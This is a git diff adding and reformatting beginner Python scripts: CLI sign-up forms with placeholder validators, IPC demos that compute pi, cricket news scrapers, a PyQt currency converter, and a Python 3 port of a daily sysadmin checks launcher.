@staticmethod + def phone_validation(answer, current): + # Think over how to make a validation for phone number? + return True + + @staticmethod + def email_validation(answer, current): + return True + + @staticmethod + def password_validation(answer, current): + return True + + @staticmethod + def username_validation(): + pass + + @staticmethod + def fname_validation(answer, current): + # Add your first name validation logic here + return True + + @staticmethod + def lname_validation(answer, current): + # Add your last name validation logic here + return True + + @staticmethod + def country_validation(answer, current): + # All the countries in the world??? + # JSON can be used. + # Download the file + return True + + @staticmethod + def state_validation(answer, current): + # All the states in the world?? + # The state of the selected country only. + return True + + @staticmethod + def city_validation(answer, current): + # All the cities in the world?? + # JSON can be used. + return True + + @staticmethod + def password_confirmation(answer, current): + return True + + @staticmethod + def address_validation(answer, current): + return True + + @staticmethod + def login_username(answer, current): + # Add your username validation logic here + return True + + @staticmethod + def login_password(answer, current): + # Add your password validation logic here + return True + + +# Have an option to go back. +# How can I do it? +if answers is not None and answers.get("authentication") == "Login": + questions = [ + inquirer.Text( + "surname", + message="What's your last name (surname)?", + validate=Validation.lname_validation, + ), + inquirer.Text( + "username", + message="What's your username?", + validate=Validation.login_username, + ), + inquirer.Text( + "password", + message="What's your password?", + validate=Validation.login_password, + ), + ] + answers = inquirer.prompt(questions) + +elif answers is not None and answers.get("authentication") == "Sign up": + print("Sign up") + questions = [ + inquirer.Text( + "name", + message="What's your first name?", + validate=Validation.fname_validation, + ), + inquirer.Text( + "surname", + message="What's your last name (surname)?", + validate=Validation.lname_validation, + ), + inquirer.Text( + "phone", + message="What's your phone number", + validate=Validation.phone_validation, + ), + inquirer.Text( + "email", + message="What's your email", + validate=Validation.email_validation, + ), + inquirer.Text( + "password", + message="What's your password", + validate=Validation.password_validation, + ), + inquirer.Text( + "password_confirm", + message="Confirm your password", + validate=Validation.password_confirmation, + ), + inquirer.Text( + "username", + message="What's your username", + validate=Validation.username_validation, + ), + inquirer.Text( + "country", + message="What's your country", + validate=Validation.country_validation, + ), + inquirer.Text( + "address", + message="What's your address", + validate=Validation.address_validation, + ), + ] + answers = inquirer.prompt(questions) + +elif answers is not None and answers.get("authentication") == "Exit": + print("Exit") + sys.exit() + +pprint(answers) diff --git a/cli_master/database_import_countries.py b/cli_master/database_import_countries.py new file mode 100644 index 00000000000..27255834e9e --- /dev/null +++ b/cli_master/database_import_countries.py @@ -0,0 +1,9 @@ +import requests + +url = "https://api.countrystatecity.in/v1/countries" + +headers = {"X-CSCAPI-KEY": "API_KEY"} + +response = requests.request("GET", url, headers=headers) + +print(response.text) diff --git a/cli_master/validation_page.py b/cli_master/validation_page.py new file mode 100644 index 00000000000..a9f1c2bcffc --- /dev/null +++ b/cli_master/validation_page.py @@ -0,0 +1,68 @@ +import re + + +def phone_validation(phone_number): + # Match a typical US phone number format (xxx) xxx-xxxx + pattern = re.compile(r"^\(\d{3}\) \d{3}-\d{4}$") + return bool(pattern.match(phone_number)) + + +# Example usage: +phone_number_input = input("Enter phone number: ") +if phone_validation(phone_number_input): + print("Phone number is valid.") +else: + print("Invalid phone number.") + + +def email_validation(email): + # Basic email format validation + pattern = re.compile(r"^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$") + return bool(pattern.match(email)) + + +# Example usage: +email_input = input("Enter email address: ") +if email_validation(email_input): + print("Email address is valid.") +else: + print("Invalid email address.") + + +def password_validation(password): + # Password must be at least 8 characters long and contain at least one digit + return len(password) >= 8 and any(char.isdigit() for char in password) + + +# Example usage: +password_input = input("Enter password: ") +if password_validation(password_input): + print("Password is valid.") +else: + print("Invalid password.") + + +def username_validation(username): + # Allow only alphanumeric characters and underscores + return bool(re.match("^[a-zA-Z0-9_]+$", username)) + + +# Example usage: +username_input = input("Enter username: ") +if username_validation(username_input): + print("Username is valid.") +else: + print("Invalid username.") + + +def country_validation(country): + # Example: Allow only alphabetical characters and spaces + return bool(re.match("^[a-zA-Z ]+$", country)) + + +# Example usage: +country_input = input("Enter country name: ") +if country_validation(country_input): + print("Country name is valid.") +else: + print("Invalid country name.") diff --git a/cloning_a_list.py b/cloning_a_list.py new file mode 100644 index 00000000000..524225b734f --- /dev/null +++ b/cloning_a_list.py @@ -0,0 +1,11 @@ +# Python program to copy or clone a list +# Using the Slice Operator +def Cloning(li1): + return li1[:] + + +# Driver Code +li1 = [4, 8, 2, 10, 15, 18] +li2 = Cloning(li1) +print("Original List:", li1) +print("After Cloning:", li2) diff --git a/colorma_as_color.py b/colorma_as_color.py new file mode 100644 index 00000000000..345f2043697 --- /dev/null +++ b/colorma_as_color.py @@ -0,0 +1,19 @@ +from colorama import Fore, Back, Style + +print(Fore.RED + "some red text") +print(Back.GREEN + "and with a green background") +print("So any text will be in green background?") + +print("So is it a wrapper of some sort?") +print("dark_angel wasn't using it in her code.") +print("she was just being using direct ANSI codes.") +print(Style.RESET_ALL) +print(Fore.BRIGHT_RED + "some bright red text") +print(Back.WHITE + "and with a white background") +print("Will need to study about what is ANSI codes.") +print(Style.DIM + "and in dim text") +print(Style.RESET_ALL) +print("back to normal now") + + +# …or, Colorama can be used in conjunction with existing ANSI libraries such as the venerable Termcolor the fabulous Blessings, or the incredible _Rich. diff --git a/colour spiral.py b/colour spiral.py new file mode 100644 index 00000000000..70a96b94643 --- /dev/null +++ b/colour spiral.py @@ -0,0 +1,50 @@ +# import turtle + +import turtle + +# defining colors + +colors = ["red", "yellow", "green", "purple", "blue", "orange"] + +# setup turtle pen + +t = turtle.Pen() + +# changes the speed of the turtle + +t.speed(10) + +# changes the background color + +turtle.bgcolor("black") + +# make spiral_web + +for x in range(200): + t.pencolor(colors[x % 6]) # setting color + + t.width(x / 100 + 1) # setting width + + t.forward(x) # moving forward + + t.left(59) # moving left + +turtle.done() + +t.speed(10) + + +turtle.bgcolor("black") # changes the background color + +# make spiral_web + +for x in range(200): + t.pencolor(colors[x % 6]) # setting color + + t.width(x / 100 + 1) # setting width + + t.forward(x) # moving forward + + t.left(59) # moving left + +turtle.done() diff --git a/communication/file.py b/communication/file.py new file mode 100755 index 00000000000..4198d95ec0e --- /dev/null +++ b/communication/file.py @@ -0,0 +1,41 @@ +#!/usr/bin/python +# coding: utf-8 + +import math +import os +import sys + + +def slice(mink, maxk): + s = 0.0 + for k in range(int(mink), int(maxk)): + s += 1.0 / (2 * k + 1) / (2 * k + 1) + return s + + +def pi(n): + pids = [] + unit = n / 10 + for i in range(10): # 分10个子进程 + mink = unit * i + maxk = mink + unit + pid = os.fork() + if pid > 0: + pids.append(pid) + else: + s = slice(mink, maxk) # 子进程开始计算 + with open("%d" % os.getpid(), "w") as f: + f.write(str(s)) + sys.exit(0) # 子进程结束 + sums = [] + for pid in pids: + os.waitpid(pid, 0) # 等待子进程结束 + with open("%d" % pid, "r") as f: + sums.append(float(f.read())) + os.remove("%d" % pid) # 删除通信的文件 + return math.sqrt(sum(sums) * 8) + + +if __name__ == "__main__": + print("start") + print(pi(10000000)) diff --git a/communication/pipe.py b/communication/pipe.py new file mode 100644 index 00000000000..4138c519570 --- /dev/null +++ b/communication/pipe.py @@ -0,0 +1,43 @@ +# coding: utf-8 + +from __future__ import print_function + +import math +import os +import sys + + +def slice(mink, maxk): + s = 0.0 + for k in range(mink, maxk): + s += 1.0 / (2 * k + 1) / (2 * k + 1) + return s + + +def pi(n): + childs = {} + unit = n / 10 + for i in range(10): # 分10个子进程 + mink = unit * i + maxk = mink + unit + r, w = os.pipe() + pid = os.fork() + if pid > 0: + childs[pid] = r # 将子进程的pid和读描述符存起来 + os.close(w) # 父进程关闭写描述符,只读 + else: + os.close(r) # 子进程关闭读描述符,只写 + s = slice(mink, maxk) # 子进程开始计算 + os.write(w, str(s)) + os.close(w) # 写完了,关闭写描述符 + sys.exit(0) # 子进程结束 + sums = [] + + for pid, r in childs.items(): + sums.append(float(os.read(r, 1024))) + os.close(r) # 读完了,关闭读描述符 + os.waitpid(pid, 0) # 等待子进程结束 + return math.sqrt(sum(sums) * 8) + + +print(pi(10000000)) diff --git a/communication/socket_conn.py b/communication/socket_conn.py new file mode 100644 index 00000000000..ffe1ed437fa --- /dev/null +++ b/communication/socket_conn.py @@ -0,0 +1,43 @@ +# coding: utf-8 + +from __future__ import print_function + +import math +import os +import socket +import sys + + +def slice(mink, maxk): + s = 0.0 + for k in range(mink, maxk): + s += 1.0 / (2 * k + 1) / (2 * k + 1) + return s + + +def pi(n): + childs = {} + unit = n / 10 + for i in range(10): # 分10个子进程 + mink = unit * i + maxk = mink + unit + rsock, wsock = socket.socketpair() + pid = os.fork() + if pid > 0: + childs[pid] = rsock + wsock.close() + else: + rsock.close() + s = slice(mink, maxk) # 子进程开始计算 + wsock.send(str(s)) + wsock.close() + sys.exit(0) # 子进程结束 + sums = [] + for pid, rsock in childs.items(): + sums.append(float(rsock.recv(1024))) + rsock.close() + os.waitpid(pid, 0) # 等待子进程结束 + return math.sqrt(sum(sums) * 8) + + +print(pi(10000000)) diff --git a/compass_code.py b/compass_code.py new file mode 100644 index 00000000000..4b7bf7b1880 --- /dev/null +++ b/compass_code.py @@ -0,0 +1,9 @@ +def degree_to_direction(deg): + directions = ["N", "NE", "E", "SE", "S", "SW", "W", "NW"] + + deg = deg % 360 + deg = int(deg // 45) + print(directions[deg]) + + +degree_to_direction(45) diff --git a/consonant.py b/consonant.py new file mode 100644 index 00000000000..5138b47d1ca --- /dev/null +++ b/consonant.py @@ -0,0 +1,27 @@ +my_string = input("Enter a string to count number of consonants: ") +string_check = [ + "a", + "e", + "i", + "o", + "u", + "A", + "E", + "I", + "O", + "U", +] # list for checking vowels + + +def count_con(string): + c = 0 + for i in range(len(string)): + if ( + string[i] not in string_check + ): # counter increases if the character is not vowel + c += 1 + return c + + +counter = count_con(my_string) +print(f"Number of consonants in {my_string} is {counter}.") diff --git a/convert celsius into fahrenheit.py b/convert celsius into fahrenheit.py new file mode 100644 index 00000000000..0f3bf8e9838 --- /dev/null +++ b/convert celsius into fahrenheit.py @@ -0,0 +1,4 @@ +cels = float(input("enter temp in celsius")) +print("temprature in celsius is :", cels) +fahr = cels * 9 / 5 + 32 +print("temprature in fahrenhite is :", fahr) diff --git a/convert_time.py b/convert_time.py new file mode 100644 index 00000000000..d7ff1c9f697 --- /dev/null +++ b/convert_time.py @@ -0,0 +1,28 @@ +from __future__ import print_function + +# Created by sarathkaul on 12/11/19 + + +def convert_time(input_str): + # Checking if last two elements of time + # is AM and first two elements are 12 + if input_str[-2:] == "AM" and input_str[:2] == "12": + return "00" + input_str[2:-2] + + # remove the AM + elif input_str[-2:] == "AM": + return input_str[:-2] + + # Checking if last two elements of time + # is PM and first two elements are 12 + elif input_str[-2:] == "PM" and input_str[:2] == "12": + return input_str[:-2] + + else: + # add 12 to hours and remove PM + return str(int(input_str[:2]) + 12) + input_str[2:8] + + +if __name__ == "__main__": + input_time = input("Enter time you want to convert: ") + print(convert_time(input_time)) diff --git a/convert_wind_direction_to_degrees.py b/convert_wind_direction_to_degrees.py new file mode 100644 index 00000000000..a7a48988c12 --- /dev/null +++ b/convert_wind_direction_to_degrees.py @@ -0,0 +1,20 @@ +def degrees_to_compass(degrees): + directions = ["N", "NE", "E", "SE", "S", "SW", "W", "NW"] + index = round(degrees / 45) % 8 + return directions[index] + + +# Taking input from the user +while True: + try: + degrees = float(input("Enter the wind direction in degrees (0-359): ")) + if degrees < 0 or degrees >= 360: + raise ValueError("Degrees must be between 0 and 359") + break + except ValueError as ve: + print(f"Error: {ve}") + continue + + +compass_direction = degrees_to_compass(degrees) +print(f"{degrees} degrees is {compass_direction}") diff --git a/count the numbers of two vovels.py b/count the numbers of two vovels.py new file mode 100644 index 00000000000..eb66d0967d6 --- /dev/null +++ b/count the numbers of two vovels.py @@ -0,0 +1,19 @@ +# Program to count the number of each vowels + +# string of vowels +vowels = "aeiou" + +ip_str = "Hello, have you tried our tutorial section yet?" + +# make it suitable for caseless comparisions +ip_str = ip_str.casefold() + +# make a dictionary with each vowel a key and value 0 +count = {}.fromkeys(vowels, 0) + +# count the vowels +for char in ip_str: + if char in count: + count[char] += 1 + +print(count) diff --git a/create password validity in python.py b/create password validity in python.py new file mode 100644 index 00000000000..c69a826e89e --- /dev/null +++ b/create password validity in python.py @@ -0,0 +1,27 @@ +import time + +pwd = input("Enter your password: ") # any password u want to set + + +def IInd_func(): + count1 = 0 + for j in range(5): + a = 0 + count = 0 + user_pwd = input("Enter remember password: ") # password you remember + for i in range(len(pwd)): + if user_pwd[i] == pwd[a]: # comparing remembered pwd with fixed pwd + a += 1 + count += 1 + if count == len(pwd): + print("correct pwd") + break + else: + count1 += 1 + print("not correct") + if count1 == 5: + time.sleep(30) + IInd_func() + + +IInd_func() diff --git a/create_dir_if_not_there.py b/create_dir_if_not_there.py index 14de351636a..a50db085346 100644 --- a/create_dir_if_not_there.py +++ b/create_dir_if_not_there.py @@ -8,12 +8,23 @@ # # Description : Checks to see if a directory exists in the users home directory, if not then create it -import os # Import the OS module +import os # Import the OS module + +MESSAGE = "The directory already exists." +TESTDIR = "testdir" try: - home = os.path.expanduser("~") # Set the variable home by expanding the users set home directory - print home # Print the location - - if not os.path.exists(home+'/testdir'): - os.makedirs(home+'/testdir') # If not create the directory, inside their home directory - except Exceptions as e: - print e + home = os.path.expanduser( + "~" + ) # Set the variable home by expanding the user's set home directory + print(home) # Print the location + + if not os.path.exists( + os.path.join(home, TESTDIR) + ): # os.path.join() for making a full path safely + os.makedirs( + os.path.join(home, TESTDIR) + ) # If not create the directory, inside their home directory + else: + print(MESSAGE) +except Exception as e: + print(e) diff --git a/cricket_live_score.py b/cricket_live_score.py new file mode 100644 index 00000000000..41a07f726ba --- /dev/null +++ b/cricket_live_score.py @@ -0,0 +1,19 @@ +from urllib.request import urlopen as uReq + +from bs4 import BeautifulSoup as soup + +my_url = "http://www.cricbuzz.com/" +Client = uReq(my_url) + +html_page = Client.read() +Client.close() + +soup_page = soup(html_page, "html.parser") + +score_box = soup_page.findAll("div", {"class": "cb-col cb-col-25 cb-mtch-blk"}) +score_box_len = len(score_box) +print(score_box_len) +for i in range(score_box_len): + print(score_box[i].a["title"]) + print(score_box[i].a.text) + print() diff --git a/cricket_news.py b/cricket_news.py new file mode 100644 index 00000000000..8c78c1820e6 --- /dev/null +++ b/cricket_news.py @@ -0,0 +1,30 @@ +from bs4 import BeautifulSoup +import requests +import pyttsx3 + +engine = pyttsx3.init() +voices = engine.getProperty("voices") +engine.setProperty("voice", voices[0].id) + + +def speak(audio): + engine.say(audio) + engine.runAndWait() + + +url = "https://www.cricbuzz.com/cricket-news/latest-news" + +ans = requests.get(url) + +soup = BeautifulSoup(ans.content, "html.parser") + +anchors = soup.find_all("a", class_="cb-nws-hdln-ancr text-hvr-underline") +i = 1 +speak("Welcome to sports news headlines!") +for anchor in anchors: + speak(anchor.get_text()) + i += 1 + if i == 11: + break + speak("Moving on next sports headline..") +speak("These all are major headlines, have a nice day SIR") diff --git a/currency converter/README.md b/currency converter/README.md new file mode 100644 index 00000000000..db929347b93 --- /dev/null +++ b/currency converter/README.md @@ -0,0 +1,11 @@ +# Currency-Calculator-Dynamic +Currency calculator which will fetch the latest and tell you the exact. + +pip installations:- + +pip install bs4 +pip install requests +pip install pyqt5 + +thank you for using our currency calculator ! +:) diff --git a/currency converter/country.txt b/currency converter/country.txt new file mode 100644 index 00000000000..0398e381859 --- /dev/null +++ b/currency converter/country.txt @@ -0,0 +1,177 @@ +Australia Dollar-AUD +Great Britain Pound-GBP +Euro-EUR +Japan Yen-JPY +Switzerland Franc-CHF +USA Dollar-USD +Afghanistan Afghani-AFN +Albania Lek-ALL +Algeria Dinar-DZD +Angola Kwanza-AOA +Argentina Peso-ARS +Armenia Dram-AMD +Aruba Florin-AWG +Australia Dollar-AUD +Austria Schilling-ATS (EURO) +Belgium Franc-BEF (EURO) +Azerbaijan New Manat-AZN +Bahamas Dollar-BSD +Bahrain Dinar-BHD +Bangladesh Taka-BDT +Barbados Dollar-BBD +Belarus Ruble-BYR +Belize Dollar-BZD +Bermuda Dollar-BMD +Bhutan Ngultrum-BTN +Bolivia Boliviano-BOB +Bosnia Mark-BAM +Botswana Pula-BWP +Brazil Real-BRL +Great Britain Pound-GBP +Brunei Dollar-BND +Bulgaria Lev-BGN +Burundi Franc-BIF +CFA Franc BCEAO-XOF +CFA Franc BEAC-XAF +CFP Franc-XPF +Cambodia Riel-KHR +Canada Dollar-CAD +Cape Verde Escudo-CVE +Cayman Islands Dollar-KYD +Chili Peso-CLP +China Yuan/Renminbi-CNY +Colombia Peso-COP +Comoros Franc-KMF +Congo Franc-CDF +Costa Rica Colon-CRC +Croatia Kuna-HRK +Cuba Convertible Peso-CUC +Cuba Peso-CUP +Cyprus Pound-CYP (EURO) +Czech Koruna-CZK +Denmark Krone-DKK +Djibouti Franc-DJF +Dominican Republich Peso-DOP +East Caribbean Dollar-XCD +Egypt Pound-EGP +El Salvador Colon-SVC +Estonia Kroon-EEK (EURO) +Ethiopia Birr-ETB +Euro-EUR +Falkland Islands Pound-FKP +Finland Markka-FIM (EURO) +Fiji Dollar-FJD +Gambia Dalasi-GMD +Georgia Lari-GEL +Germany Mark-DMK (EURO) +Ghana New Cedi-GHS +Gibraltar Pound-GIP +Greece Drachma-GRD (EURO) +Guatemala Quetzal-GTQ +Guinea Franc-GNF +Guyana Dollar-GYD +Haiti Gourde-HTG +Honduras Lempira-HNL +Hong Kong Dollar-HKD +Hungary Forint-HUF +Iceland Krona-ISK +India Rupee-INR +Indonesia Rupiah-IDR +Iran Rial-IRR +Iraq Dinar-IQD +Ireland Pound-IED (EURO) +Israel New Shekel-ILS +Italy Lira-ITL (EURO) +Jamaica Dollar-JMD +Japan Yen-JPY +Jordan Dinar-JOD +Kazakhstan Tenge-KZT +Kenya Shilling-KES +Kuwait Dinar-KWD +Kyrgyzstan Som-KGS +Laos Kip-LAK +Latvia Lats-LVL (EURO) +Lebanon Pound-LBP +Lesotho Loti-LSL +Liberia Dollar-LRD +Libya Dinar-LYD +Lithuania Litas-LTL (EURO) +Luxembourg Franc-LUF (EURO) +Macau Pataca-MOP +Macedonia Denar-MKD +Malagasy Ariary-MGA +Malawi Kwacha-MWK +Malaysia Ringgit-MYR +Maldives Rufiyaa-MVR +Malta Lira-MTL (EURO) +Mauritania Ouguiya-MRO +Mauritius Rupee-MUR +Mexico Peso-MXN +Moldova Leu-MDL +Mongolia Tugrik-MNT +Morocco Dirham-MAD +Mozambique New Metical-MZN +Myanmar Kyat-MMK +NL Antilles Guilder-ANG +Namibia Dollar-NAD +Nepal Rupee-NPR +Netherlands Guilder-NLG (EURO) +New Zealand Dollar-NZD +Nicaragua Cordoba Oro-NIO +Nigeria Naira-NGN +North Korea Won-KPW +Norway Kroner-NOK +Oman Rial-OMR +Pakistan Rupee-PKR +Panama Balboa-PAB +Papua New Guinea Kina-PGK +Paraguay Guarani-PYG +Peru Nuevo Sol-PEN +Philippines Peso-PHP +Poland Zloty-PLN +Portugal Escudo-PTE (EURO) +Qatar Rial-QAR +Romania New Lei-RON +Russia Rouble-RUB +Rwanda Franc-RWF +Samoa Tala-WST +Sao Tome/Principe Dobra-STD +Saudi Arabia Riyal-SAR +Serbia Dinar-RSD +Seychelles Rupee-SCR +Sierra Leone Leone-SLL +Singapore Dollar-SGD +Slovakia Koruna-SKK (EURO) +Slovenia Tolar-SIT (EURO) +Solomon Islands Dollar-SBD +Somali Shilling-SOS +South Africa Rand-ZAR +South Korea Won-KRW +Spain Peseta-ESP (EURO) +Sri Lanka Rupee-LKR +St Helena Pound-SHP +Sudan Pound-SDG +Suriname Dollar-SRD +Swaziland Lilangeni-SZL +Sweden Krona-SEK +Switzerland Franc-CHF +Syria Pound-SYP +Taiwan Dollar-TWD +Tanzania Shilling-TZS +Thailand Baht-THB +Tonga Pa'anga-TOP +Trinidad/Tobago Dollar-TTD +Tunisia Dinar-TND +Turkish New Lira-TRY +Turkmenistan Manat-TMM +USA Dollar-USD +Uganda Shilling-UGX +Ukraine Hryvnia-UAH +Uruguay Peso-UYU +United Arab Emirates Dirham-AED +Vanuatu Vatu-VUV +Venezuela Bolivar-VEB +Vietnam Dong-VND +Yemen Rial-YER +Zambia Kwacha-ZMK +Zimbabwe Dollar-ZWD \ No newline at end of file diff --git a/currency converter/gui.ui b/currency converter/gui.ui new file mode 100644 index 00000000000..a2b39c9e6a4 --- /dev/null +++ b/currency converter/gui.ui @@ -0,0 +1,230 @@ + + + MainWindow + + + + 0 + 0 + 785 + 362 + + + + MainWindow + + + QMainWindow { + background-color: #2C2F33; + } + QLabel#label { + color: #FFFFFF; + font-family: 'Arial'; + font-size: 28px; + font-weight: bold; + background-color: transparent; + padding: 10px; + } + QLabel#label_2, QLabel#label_3 { + color: #7289DA; + font-family: 'Arial'; + font-size: 20px; + font-weight: normal; + background-color: transparent; + } + QComboBox { + background-color: #23272A; + color: #FFFFFF; + font-family: 'Arial'; + font-size: 16px; + border-radius: 10px; + padding: 10px; + border: 1px solid #7289DA; + } + QComboBox:hover { + border: 1px solid #677BC4; + } + QComboBox::drop-down { + border: none; + width: 20px; + } + QComboBox::down-arrow { + image: url(:/icons/down_arrow.png); + width: 12px; + height: 12px; + } + QComboBox QAbstractItemView { + background-color: #23272A; + color: #FFFFFF; + selection-background-color: #7289DA; + selection-color: #FFFFFF; + border: 1px solid #7289DA; + border-radius: 5px; + } + QLineEdit { + background-color: #23272A; + color: #FFFFFF; + font-family: 'Arial'; + font-size: 20px; + border-radius: 10px; + padding: 10px; + border: 1px solid #7289DA; + } + QLineEdit:hover, QLineEdit:focus { + border: 1px solid #677BC4; + } + QPushButton { + background-color: #7289DA; + color: #FFFFFF; + font-family: 'Arial'; + font-size: 16px; + font-weight: bold; + border-radius: 10px; + padding: 10px; + border: none; + } + QPushButton:hover { + background-color: #677BC4; + } + QPushButton:pressed { + background-color: #5B6EAE; + } + QLCDNumber { + background-color: #23272A; + color: #43B581; + border-radius: 10px; + border: 1px solid #7289DA; + padding: 10px; + } + QStatusBar { + background-color: #23272A; + color: #FFFFFF; + } + + + + + + 0 + 0 + 801 + 101 + + + + + Arial + -1 + 75 + true + + + + Currency Converter Dynamic + + + Qt::AlignCenter + + + + + + 100 + 90 + 241 + 61 + + + + + + + 430 + 90 + 241 + 61 + + + + + + + 100 + 260 + 571 + 41 + + + + Change + + + + + + 430 + 170 + 241 + 61 + + + + + + + 370 + 110 + 41 + 16 + + + + + Arial + -1 + 50 + true + false + + + + + + + + + + 370 + 190 + 41 + 16 + + + + + Arial + -1 + 50 + true + false + + + + + + + + + + 100 + 170 + 241 + 61 + + + + + + + + diff --git a/currency converter/main.py b/currency converter/main.py new file mode 100644 index 00000000000..b656e7bdf3b --- /dev/null +++ b/currency converter/main.py @@ -0,0 +1,57 @@ +# cc program +from PyQt5.QtGui import * +from PyQt5.QtCore import * +from PyQt5.QtWidgets import * +from PyQt5 import QtWidgets, uic +from PyQt5.QtCore import * +import httpx +from bs4 import BeautifulSoup + + +def getVal(cont1, cont2): + cont1val = cont1.split("-")[1] + cont2val = cont2.split("-")[1] + url = f"https://free.currconv.com/api/v7/convert?q={cont1val}_{cont2val}&compact=ultra&apiKey=b43a653672c4a94c4c26" + r = httpx.get(url) + htmlContent = r.content + soup = BeautifulSoup(htmlContent, "html.parser") + try: + valCurr = float(soup.get_text().split(":")[1].removesuffix("}")) # {USD:70.00} + except Exception: + print("Server down.") + exit() + return valCurr + + +app = QtWidgets.QApplication([]) + +window = uic.loadUi("gui.ui") +f = open("country.txt", "r") + +window = uic.loadUi("C:/Users/prath/Desktop/Currency-Calculator-Dynamic/gui.ui") +f = open("C:/Users/prath/Desktop/Currency-Calculator-Dynamic/country.txt", "r") + +window.dropDown1.addItem("Select") +window.dropDown2.addItem("Select") +for i in f.readlines(): + window.dropDown1.addItem(i) + window.dropDown2.addItem(i) +intOnly = QDoubleValidator() +window.lineEdit.setValidator(intOnly) + + +def main(): + window.pushButton.clicked.connect(changeBtn) + + +def changeBtn(): + val = window.lineEdit.text() + cont1 = window.dropDown1.currentText() + cont2 = window.dropDown2.currentText() + valCurr = getVal(cont1.rstrip(), cont2.rstrip()) + window.lcdpanel.display(float(val) * valCurr) + + +main() +window.show() +app.exec() diff --git a/daily_checks.py b/daily_checks.py index 275d152cc32..5a59ba9d3f3 100644 --- a/daily_checks.py +++ b/daily_checks.py @@ -3,62 +3,98 @@ # Created : 07th December 2011 # Last Modified : 01st May 2013 # Version : 1.5 -# -# Modifications : 1.1 Removed the static lines for the putty sessions, it now reads a file, loops through and makes the connections. -# : 1.2 Added a variable filename=sys.argv[0] , as when you use __file__ it errors when creating an exe with py2exe. -# : 1.3 Changed the server_list.txt file name and moved the file to the config directory. -# : 1.4 Changed some settings due to getting a new pc -# : 1.5 Tidy comments and syntax -# -# Description : This simple script loads everything I need to carry out the daily checks for our systems. - -import platform # Load Modules +""" +Modifications : 1.1 Removed the static lines for the putty sessions, it now reads a file, loops through and makes the connections. + : 1.2 Added a variable filename=sys.argv[0] , as when you use __file__ it errors when creating an exe with py2exe. + : 1.3 Changed the server_list.txt file name and moved the file to the config directory. + : 1.4 Changed some settings due to getting a new pc + : 1.5 Tidy comments and syntax + +Description : This simple script loads everything I need to carry out the daily checks for our systems. +""" + import os +import platform # Load Modules import subprocess import sys +from time import strftime # Load just the strftime Module from Time + + +def clear_screen(): # Function to clear the screen + if os.name == "posix": # Unix/Linux/MacOS/BSD/etc + os.system("clear") # Clear the Screen + elif os.name in ("nt", "dos", "ce"): # DOS/Windows + os.system("CLS") # Clear the Screen + + +def print_docs(): # Function to print the daily checks automatically + print("Printing Daily Check Sheets:") + # The command below passes the command line string to open word, open the document, print it then close word down + subprocess.Popen( + [ + r"C:\Program Files (x86)\Microsoft Office\Office14\winword.exe", + r"P:\Documentation\Daily Docs\Back office Daily Checks.doc", + "/mFilePrintDefault", + "/mFileExit", + ] + ).communicate() + + +def putty_sessions(conffilename): # Function to load the putty sessions I need + # Open the file server_list.txt, loop through reading each line + # 1.1 -Changed - 1.3 Changed name to use variable conffilename + for server in open(conffilename): + subprocess.Popen(("putty -load " + server)) # Open the PuTTY sessions - 1.1 + -from time import strftime # Load just the strftime Module from Time - -def clear_screen(): # Function to clear the screen - if os.name == "posix": # Unix/Linux/MacOS/BSD/etc - os.system('clear') # Clear the Screen - elif os.name in ("nt", "dos", "ce"): # DOS/Windows - os.system('CLS') # Clear the Screen - -def print_docs(): # Function to print the daily checks automatically - print "Printing Daily Check Sheets:" - # The command below passes the command line string to open word, open the document, print it then close word down - subprocess.Popen(["C:\\Program Files (x86)\Microsoft Office\Office14\winword.exe", "P:\\\\Documentation\\Daily Docs\\Back office Daily Checks.doc", "/mFilePrintDefault", "/mFileExit"]).communicate() - -def putty_sessions(): # Function to load the putty sessions I need - for server in open(conffilename): # Open the file server_list.txt, loop through reading each line - 1.1 -Changed - 1.3 Changed name to use variable conffilename - subprocess.Popen(('putty -load '+server)) # Open the PuTTY sessions - 1.1 - def rdp_sessions(): - print "Loading RDP Sessions:" - subprocess.Popen("mstsc eclr.rdp") # Open up a terminal session connection and load the euroclear session - + print("Loading RDP Sessions:") + subprocess.Popen( + "mstsc eclr.rdp" + ) # Open up a terminal session connection and load the euroclear session + + def euroclear_docs(): - # The command below opens IE and loads the Euroclear password document - subprocess.Popen('"C:\\Program Files\\Internet Explorer\\iexplore.exe"' '"file://fs1\pub_b\Pub_Admin\Documentation\Settlements_Files\PWD\Eclr.doc"') + # The command below opens IE and loads the Euroclear password document + subprocess.Popen( + [ + r"C:\Program Files\Internet Explorer\iexplore.exe", + r"file://fs1/pub_b/Pub_Admin/Documentation/Settlements_Files/PWD/Eclr.doc", + ] + ) + + +# End of the functions -# End of the functions # Start of the Main Program def main(): - filename = sys.argv[0] # Create the variable filename - confdir = os.getenv("my_config") # Set the variable confdir from the OS environment variable - 1.3 - conffile = ('daily_checks_servers.conf') # Set the variable conffile - 1.3 - conffilename = os.path.join(confdir, conffile) # Set the variable conffilename by joining confdir and conffile together - 1.3 - clear_screen() # Call the clear screen function - - # The command below prints a little welcome message, as well as the script name, the date and time and where it was run from. - print "Good Morning " + os.getenv('USERNAME') + ", " + filename, "ran at", strftime("%Y-%m-%d %H:%M:%S"), "on",platform.node(), "run from",os.getcwd() - - print_docs() # Call the print_docs function - putty_sessions() # Call the putty_session function - rdp_sessions() # Call the rdp_sessions function - euroclear_docs() # Call the euroclear_docs function - -if __name__ == '__main__': - main() + filename = sys.argv[0] # Create the variable filename + confdir = os.getenv( + "my_config" + ) # Set the variable confdir from the OS environment variable - 1.3 + conffile = "daily_checks_servers.conf" # Set the variable conffile - 1.3 + # Set the variable conffilename by joining confdir and conffile together - 1.3 + conffilename = os.path.join(confdir, conffile) + clear_screen() # Call the clear screen function + + # The command below prints a little welcome message, as well as the script name, + # the date and time and where it was run from. + print( + "Good Morning " + os.getenv("USERNAME") + ", " + filename, + "ran at", + strftime("%Y-%m-%d %H:%M:%S"), + "on", + platform.node(), + "run from", + os.getcwd(), + ) + + print_docs() # Call the print_docs function + putty_sessions(conffilename) # Call the putty_session function + rdp_sessions() # Call the rdp_sessions function + euroclear_docs() # Call the euroclear_docs function + + +if __name__ == "__main__": + main() diff --git a/daily_horoscope.py b/daily_horoscope.py new file mode 100644 index 00000000000..04669971819 --- /dev/null +++ b/daily_horoscope.py @@ -0,0 +1,101 @@ +from bs4 import BeautifulSoup +import requests + +""" + this check_sign function checks and returns the zodiac sign + by day and month of your birth + +""" + + +def check_sign(): + your_birth_day = input("enter your birthday day number> ") + your_birth_month = input("cool, and the month number, please> ") + if (int(your_birth_month) == 12 and int(your_birth_day) >= 22) or ( + int(your_birth_month) == 1 and int(your_birth_day) <= 19 + ): + sign = "Capricorn" + elif (int(your_birth_month) == 1 and 